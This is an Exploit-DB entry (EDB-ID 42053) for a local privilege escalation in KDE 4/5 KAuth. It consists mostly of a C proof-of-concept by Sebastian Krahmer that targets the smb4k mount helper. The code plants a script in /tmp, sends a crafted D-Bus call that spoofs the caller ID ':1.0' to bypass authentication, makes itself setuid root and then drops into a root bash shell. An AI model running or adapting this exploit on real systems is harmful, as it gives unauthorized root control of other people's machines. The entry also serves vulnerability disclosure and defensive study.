KDE 4/5 - 'KAuth' Local Privilege Escalation

EDB-ID:

42053


Author:

Stealth

Type:

local


Platform:

Linux

Date:

2017-05-18


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// cc -Wall smb0k.c -pedantic -std=c11
//
// smb4k PoC, also demonstrating broader scope of a generic kde
// authentication bypass vulnerability
//
// (C) 2017 Sebastian Krahmer
//

#define _POSIX_C_SOURCE 200112L
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>


void die(const char *s)
{
	perror(s);
	exit(errno);
}


int main(int argc, char **argv)
{
	char me[1024] = {0};
	char *dbus[] = {
		"/usr/bin/dbus-send",
		"--system",
		"--print-reply",
		"--dest=net.sourceforge.smb4k.mounthelper",
		"/",
		"org.kde.auth.performActions",
		"array:byte:"
// The variant map, containing evil mh_command key-pair
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// the callerID, ":1.0" which is dbus itself and thus always passes
"array:byte:58,49,46,48", NULL};

	char *boomsh = "/tmp/xmount.cifs";
	char *const sh[] = {me, "shell", NULL};
	char *const bash[] = {"/bin/bash", "--norc", "--noprofile", NULL};
	struct stat st;
	int fd = -1;

	if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0)
		die("[-] readlink");

	if (geteuid() == 0) {
		setuid(0);
		setgid(0);
		if (argc == 2) {
			execve(*bash, bash, NULL);
			die("[-] execve of bash");
		}
		chown(me, 0, 0);
		chmod(me, 04755);
		exit(0);
	}

	printf("[*] Creating shellscript ...\n");
	unlink(boomsh);
	if ((fd = open(boomsh, O_RDWR|O_CREAT, 0755)) < 0)
		die("[-] open");
	write(fd, "#!/bin/sh\n", 10);
	write(fd, me, strlen(me));
	write(fd, "\n", 1);
	close(fd);

	printf("[*] Triggering call...\n");

	if (fork() == 0) {
		execve(*dbus, dbus, NULL);
		exit(1);
	}
	wait(NULL);
	sleep(5);
	printf("[*] Trying to find rootshell...\n");

	memset(&st, 0, sizeof(st));
	stat(me, &st);
	if ((st.st_mode & 04000) != 04000)
		die("[-] Failed to chmod ourselfs.\n");

	execve(me, sh, NULL);
	return 0;
}